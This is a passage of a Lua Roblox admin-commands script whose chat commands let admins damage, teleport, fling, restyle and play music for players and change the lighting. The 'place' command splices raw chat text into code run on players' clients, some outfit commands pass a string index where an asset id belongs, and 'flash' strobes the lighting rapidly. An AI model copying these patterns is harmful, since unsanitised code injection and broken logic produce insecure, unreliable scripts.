  1063. end
  1064. end))
  1065. end
  1066. end
  1067.  
  1068. if msg:lower():sub(1,12) == "removetools " then
  1069. local plrz = GetPlr(plr, msg:lower():sub(13))
  1070. for i, v in pairs(plrz) do
  1071. coroutine.resume(coroutine.create(function()
  1072. if v and v.Character and v:findFirstChild("Backpack") then
  1073. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1074. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1075. end
  1076. end))
  1077. end
  1078. end
  1079.  
  1080. if msg:lower():sub(1,5) == "rank " then
  1081. local chk1 = msg:lower():sub(6):find(" ") + 5
  1082. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1083. for i, v in pairs(plrz) do
  1084. coroutine.resume(coroutine.create(function()
  1085. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1086. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1087. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1088. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1089. end
  1090. end))
  1091. end
  1092. end
  1093.  
  1094. if msg:lower():sub(1,7) == "damage " then
  1095. local chk1 = msg:lower():sub(8):find(" ") + 7
  1096. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1097. for i, v in pairs(plrz) do
  1098. coroutine.resume(coroutine.create(function()
  1099. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1100. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1101. end
  1102. end))
  1103. end
  1104. end
  1105.  
  1106. if msg:lower():sub(1,5) == "grav " then
  1107. local plrz = GetPlr(plr, msg:lower():sub(6))
  1108. for i, v in pairs(plrz) do
  1109. coroutine.resume(coroutine.create(function()
  1110. if v and v.Character and v.Character:findFirstChild("Torso") then
  1111. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1112. end
  1113. end))
  1114. end
  1115. end
  1116.  
  1117. if msg:lower():sub(1,8) == "setgrav " then
  1118. local chk1 = msg:lower():sub(9):find(" ") + 8
  1119. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1120. for i, v in pairs(plrz) do
  1121. coroutine.resume(coroutine.create(function()
  1122. if v and v.Character and v.Character:findFirstChild("Torso") then
  1123. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1124. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1125. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1126. end
  1127. end))
  1128. end
  1129. end
  1130.  
  1131. if msg:lower():sub(1,7) == "nograv " then
  1132. local plrz = GetPlr(plr, msg:lower():sub(8))
  1133. for i, v in pairs(plrz) do
  1134. coroutine.resume(coroutine.create(function()
  1135. if v and v.Character and v.Character:findFirstChild("Torso") then
  1136. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1137. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1138. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1139. end
  1140. end))
  1141. end
  1142. end
  1143.  
  1144. if msg:lower():sub(1,7) == "health " then
  1145. local chk1 = msg:lower():sub(8):find(" ") + 7
  1146. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1147. for i, v in pairs(plrz) do
  1148. coroutine.resume(coroutine.create(function()
  1149. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1150. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1151. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1152. end
  1153. end))
  1154. end
  1155. end
  1156.  
  1157. if msg:lower():sub(1,6) == "speed " then
  1158. local chk1 = msg:lower():sub(7):find(" ") + 6
  1159. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1160. for i, v in pairs(plrz) do
  1161. coroutine.resume(coroutine.create(function()
  1162. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1163. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1164. end
  1165. end))
  1166. end
  1167. end
  1168.  
  1169. if msg:lower():sub(1,5) == "team " then
  1170. local chk1 = msg:lower():sub(6):find(" ") + 5
  1171. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1172. for i, v in pairs(plrz) do
  1173. coroutine.resume(coroutine.create(function()
  1174. if v and game:findFirstChild("Teams") then
  1175. for a, tm in pairs(game.Teams:children()) do
  1176. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1177. end
  1178. end
  1179. end))
  1180. end
  1181. end
  1182.  
  1183. if msg:lower():sub(1,6) == "place " then
  1184. local chk1 = msg:lower():sub(7):find(" ") + 6
  1185. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1186. for i, v in pairs(plrz) do
  1187. coroutine.resume(coroutine.create(function()
  1188. if v and v:findFirstChild("PlayerGui") then
  1189. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1190. end
  1191. end))
  1192. end
  1193. end
  1194.  
  1195. if msg:lower():sub(1,3) == "tp " then
  1196. local chk1 = msg:lower():sub(4):find(" ") + 3
  1197. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1198. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1199. for i, v in pairs(plrz) do
  1200. coroutine.resume(coroutine.create(function()
  1201. for i2, v2 in pairs(plrz2) do
  1202. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1203. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1204. end
  1205. end
  1206. end))
  1207. end
  1208. end
  1209.  
  1210. if msg:lower():sub(1,7) == "change " then
  1211. local chk1 = msg:lower():sub(8):find(" ") + 7
  1212. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1213. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1214. for i, v in pairs(plrz) do
  1215. coroutine.resume(coroutine.create(function()
  1216. if v and v:findFirstChild("leaderstats") then
  1217. for a, st in pairs(v.leaderstats:children()) do
  1218. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1219. end
  1220. end
  1221. end))
  1222. end
  1223. end
  1224.  
  1225. if msg:lower():sub(1,6) == "shirt " then
  1226. local chk1 = msg:lower():sub(7):find(" ") + 6
  1227. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1228. for i, v in pairs(plrz) do
  1229. coroutine.resume(coroutine.create(function()
  1230. if v and v.Character then
  1231. for i,v in pairs(v.Character:children()) do
  1232. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1233. end
  1234. end
  1235. end))
  1236. end
  1237. end
  1238.  
  1239. if msg:lower():sub(1,6) == "pants " then
  1240. local chk1 = msg:lower():sub(7):find(" ") + 6
  1241. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1242. for i, v in pairs(plrz) do
  1243. coroutine.resume(coroutine.create(function()
  1244. if v and v.Character then
  1245. for i,v in pairs(v.Character:children()) do
  1246. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1247. end
  1248. end
  1249. end))
  1250. end
  1251. end
  1252.  
  1253. if msg:lower():sub(1,5) == "face " then
  1254. local chk1 = msg:lower():sub(6):find(" ") + 5
  1255. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1256. for i, v in pairs(plrz) do
  1257. coroutine.resume(coroutine.create(function()
  1258. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1259. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1260. end
  1261. end))
  1262. end
  1263. end
  1264.  
  1265. ---------------------
  1266. -- FunCommands --
  1267. ---------------------
  1268. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1269.  
  1270. if msg:lower():sub(1,8) == "swagify " then
  1271. local plrz = GetPlr(plr, msg:lower():sub(9))
  1272. for i, v in pairs(plrz) do
  1273. coroutine.resume(coroutine.create(function()
  1274. if v and v.Character then
  1275. for i,v in pairs(v.Character:children()) do
  1276. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1277. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1278. end
  1279. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1280. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1281. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1282. local torso = plr.Character.Torso
  1283. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1284. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1285. p.Size = Vector3.new(.2,.2,.2)
  1286. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1287. local motor1 = Instance.new("Motor", p)
  1288. motor1.Part0 = p
  1289. motor1.Part1 = torso
  1290. motor1.MaxVelocity = .01
  1291. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1292. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1293. local wave = false
  1294. repeat wait(1/44)
  1295. local ang = 0.1
  1296. local oldmag = torso.Velocity.magnitude
  1297. local mv = .002
  1298. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1299. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1300. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1301. motor1.DesiredAngle = -ang
  1302. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1303. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1304. if torso.Velocity.magnitude < .1 then wait(.1) end
  1305. until not p or p.Parent ~= torso.Parent
  1306. script:Destroy()
  1307. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1308. end
  1309. end))
  1310. end
  1311. end
  1312.  
  1313. if msg:lower():sub(1,6) == "music " then
  1314. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1315. local id = msg:sub(7)
  1316. local pitch = 1
  1317. if tostring(id):lower():find("caramell") then id = 2303479 end
  1318. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1319. if tostring(id):find("rick") then id = 2027611 end
  1320. if tostring(id):find("halo") then id = 1034065 end
  1321. if tostring(id):find("pokemon") then id = 1372261 end
  1322. if tostring(id):find("cursed") then id = 1372257 end
  1323. if tostring(id):find("extreme") then id = 11420933 end
  1324. if tostring(id):find("awaken") then id = 27697277 end
  1325. if tostring(id):find("alone") then id = 27697392 end
  1326. if tostring(id):find("mario") then id = 1280470 end
  1327. if tostring(id):find("choir") then id = 1372258 end
  1328. if tostring(id):find("chrono") then id = 1280463 end
  1329. if tostring(id):find("dotr") then id = 11420922 end
  1330. if tostring(id):find("entertain") then id = 27697267 end
  1331. if tostring(id):find("fantasy") then id = 1280473 end
  1332. if tostring(id):find("final") then id = 1280414 end
  1333. if tostring(id):find("emblem") then id = 1372259 end
  1334. if tostring(id):find("flight") then id = 27697719 end
  1335. if tostring(id):find("banjo") then id = 27697298 end
  1336. if tostring(id):find("gothic") then id = 27697743 end
  1337. if tostring(id):find("hiphop") then id = 27697735 end
  1338. if tostring(id):find("intro") then id = 27697707 end
  1339. if tostring(id):find("mule") then id = 1077604 end
  1340. if tostring(id):find("film") then id = 27697713 end
  1341. if tostring(id):find("nezz") then id = 8610025 end
  1342. if tostring(id):find("angel") then id = 1372260 end
  1343. if tostring(id):find("resist") then id = 27697234 end
  1344. if tostring(id):find("schala") then id = 5985787 end
  1345. if tostring(id):find("organ") then id = 11231513 end
  1346. if tostring(id):find("tunnel") then id = 9650822 end
  1347. if tostring(id):find("spanish") then id = 5982975 end
  1348. if tostring(id):find("venom") then id = 1372262 end
  1349. if tostring(id):find("wind") then id = 1015394 end
  1350. if tostring(id):find("guitar") then id = 5986151 end
  1351. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1352. end
  1353.  
  1354. if msg:lower() == "stopmusic" then
  1355. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1356. end
  1357.  
  1358. if msg:lower() == "musiclist" then
  1359. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1360. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1361. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1362. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1363. end
  1364.  
  1365. if msg:lower():sub(1,4) == "fly " then
  1366. local plrz = GetPlr(plr, msg:lower():sub(5))
  1367. for i, v in pairs(plrz) do
  1368. coroutine.resume(coroutine.create(function()
  1369. if v and v:findFirstChild("PlayerGui") then
  1370. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  1371. local mouse = game.Players.LocalPlayer:GetMouse()
  1372. repeat wait() until mouse
  1373. local plr = game.Players.LocalPlayer
  1374. local torso = plr.Character.Torso
  1375. local flying = true
  1376. local deb = true
  1377. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  1378. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1379. local maxspeed = 50
  1380. local speed = 0
  1381. function Fly()
  1382. local bg = Instance.new("BodyGyro", torso)
  1383. bg.P = 9e4
  1384. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  1385. bg.cframe = torso.CFrame
  1386. local bv = Instance.new("BodyVelocity", torso)
  1387. bv.velocity = Vector3.new(0,0.1,0)
  1388. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  1389. repeat wait()
  1390. plr.Character.Humanoid.PlatformStand = true
  1391. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  1392. speed = speed+.5+(speed/maxspeed)
  1393. if speed > maxspeed then
  1394. speed = maxspeed
  1395. end
  1396. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  1397. speed = speed-1
  1398. if speed < 0 then
  1399. speed = 0
  1400. end
  1401. end
  1402. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  1403. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1404. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  1405. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  1406. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1407. else
  1408. bv.velocity = Vector3.new(0,0.1,0)
  1409. end
  1410. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  1411. until not flying
  1412. ctrl = {f = 0, b = 0, l = 0, r = 0}
  1413. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1414. speed = 0
  1415. bg:Destroy()
  1416. bv:Destroy()
  1417. plr.Character.Humanoid.PlatformStand = false
  1418. end
  1419. mouse.KeyDown:connect(function(key)
  1420. if key:lower() == "e" then
  1421. if flying then flying = false
  1422. else
  1423. flying = true
  1424. Fly()
  1425. end
  1426. elseif key:lower() == "w" then
  1427. ctrl.f = 1
  1428. elseif key:lower() == "s" then
  1429. ctrl.b = -1
  1430. elseif key:lower() == "a" then
  1431. ctrl.l = -1
  1432. elseif key:lower() == "d" then
  1433. ctrl.r = 1
  1434. end
  1435. end)
  1436. mouse.KeyUp:connect(function(key)
  1437. if key:lower() == "w" then
  1438. ctrl.f = 0
  1439. elseif key:lower() == "s" then
  1440. ctrl.b = 0
  1441. elseif key:lower() == "a" then
  1442. ctrl.l = 0
  1443. elseif key:lower() == "d" then
  1444. ctrl.r = 0
  1445. end
  1446. end)
  1447. Fly()]]
  1448. cl.Parent = v.PlayerGui cl.Disabled = false
  1449. end
  1450. end))
  1451. end
  1452. end
  1453.  
  1454. if msg:lower():sub(1,6) == "unfly " then
  1455. local plrz = GetPlr(plr, msg:lower():sub(7))
  1456. for i, v in pairs(plrz) do
  1457. coroutine.resume(coroutine.create(function()
  1458. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1459. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1460. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1461. wait(.1) v.Character.Humanoid.PlatformStand = false
  1462. end
  1463. end))
  1464. end
  1465. end
  1466.  
  1467. if msg:lower() == "disco" then
  1468. for i, v in pairs(lobjs) do v:Destroy() end
  1469. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1470. game.Lighting.Ambient = color
  1471. game.Lighting.FogColor = color
  1472. until nil]]
  1473. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1474. end
  1475.  
  1476. if msg:lower() == "flash" then
  1477. for i, v in pairs(lobjs) do v:Destroy() end
  1478. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1479. game.Lighting.Ambient = Color3.new(1,1,1)
  1480. game.Lighting.FogColor = Color3.new(1,1,1)
  1481. game.Lighting.Brightness = 1
  1482. game.Lighting.TimeOfDay = 14
  1483. wait(.1)
  1484. game.Lighting.Ambient = Color3.new(0,0,0)
  1485. game.Lighting.FogColor = Color3.new(0,0,0)
  1486. game.Lighting.Brightness = 0
  1487. game.Lighting.TimeOfDay = 0
  1488. until nil]]
  1489. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1490. end
  1491.  
  1492. if msg:lower():sub(1,5) == "spin " then
  1493. local plrz = GetPlr(plr, msg:lower():sub(6))
  1494. for i, v in pairs(plrz) do
  1495. coroutine.resume(coroutine.create(function()
  1496. if v and v.Character and v.Character:findFirstChild("Torso") then
  1497. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1498. local torso = v.Character:findFirstChild("Torso")
  1499. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1500. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1501. until not bg or bg.Parent ~= torso
  1502. end
  1503. end))
  1504. end
  1505. end
  1506.  
  1507. if msg:lower():sub(1,7) == "unspin " then
  1508. local plrz = GetPlr(plr, msg:lower():sub(8))
  1509. for i, v in pairs(plrz) do
  1510. coroutine.resume(coroutine.create(function()
  1511. if v and v.Character and v.Character:findFirstChild("Torso") then
  1512. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1513. end
  1514. end))
  1515. end
  1516. end
  1517.  
  1518. if msg:lower():sub(1,4) == "dog " then
  1519. local plrz = GetPlr(plr, msg:lower():sub(5))
  1520. for i, v in pairs(plrz) do
  1521. coroutine.resume(coroutine.create(function()
  1522. if v and v.Character and v.Character:findFirstChild("Torso") then
  1523. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1524. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1525. v.Character.Torso.Transparency = 1
  1526. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1527. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1528. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1529. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1530. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1531. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1532. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1533. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1534. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1535. end
  1536. end))
  1537. end
  1538. end
  1539.  
  1540. if msg:lower():sub(1,6) == "undog " then
  1541. local plrz = GetPlr(plr, msg:lower():sub(7))
  1542. for i, v in pairs(plrz) do
  1543. coroutine.resume(coroutine.create(function()
  1544. if v and v.Character and v.Character:findFirstChild("Torso") then
  1545. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1546. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1547. v.Character.Torso.Transparency = 0
  1548. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1549. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1550. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1551. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1552. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1553. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1554. end
  1555. end))
  1556. end
  1557. end
  1558.  
  1559. if msg:lower():sub(1,8) == "creeper " then
  1560. local plrz = GetPlr(plr, msg:lower():sub(9))
  1561. for i, v in pairs(plrz) do
  1562. coroutine.resume(coroutine.create(function()
  1563. if v and v.Character and v.Character:findFirstChild("Torso") then
  1564. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1565. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1566. v.Character.Torso.Transparency = 0
  1567. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1568. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1569. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1570. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1571. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1572. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1573. end
  1574. end))
  1575. end
  1576. end
  1577.  
  1578. if msg:lower():sub(1,10) == "uncreeper " then
  1579. local plrz = GetPlr(plr, msg:lower():sub(11))
  1580. for i, v in pairs(plrz) do
  1581. coroutine.resume(coroutine.create(function()
  1582. if v and v.Character and v.Character:findFirstChild("Torso") then
  1583. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1584. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1585. v.Character.Torso.Transparency = 0
  1586. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1587. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1588. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1589. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1590. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1591. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1592. end
  1593. end))
  1594. end
  1595. end
  1596.  
  1597. if msg:lower():sub(1,8) == "bighead " then
  1598. local plrz = GetPlr(plr, msg:lower():sub(9))
  1599. for i, v in pairs(plrz) do
  1600. coroutine.resume(coroutine.create(function()
  1601. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1602. end))
  1603. end
  1604. end
  1605.  
  1606. if msg:lower():sub(1,9) == "minihead " then
  1607. local plrz = GetPlr(plr, msg:lower():sub(10))
  1608. for i, v in pairs(plrz) do
  1609. coroutine.resume(coroutine.create(function()
  1610. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1611. end))
  1612. end
  1613. end
  1614.  
  1615. if msg:lower():sub(1,6) == "fling " then
  1616. local plrz = GetPlr(plr, msg:lower():sub(7))
  1617. for i, v in pairs(plrz) do
  1618. coroutine.resume(coroutine.create(function()
  1619. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1620. local xran local zran
  1621. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1622. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1623. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1624. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
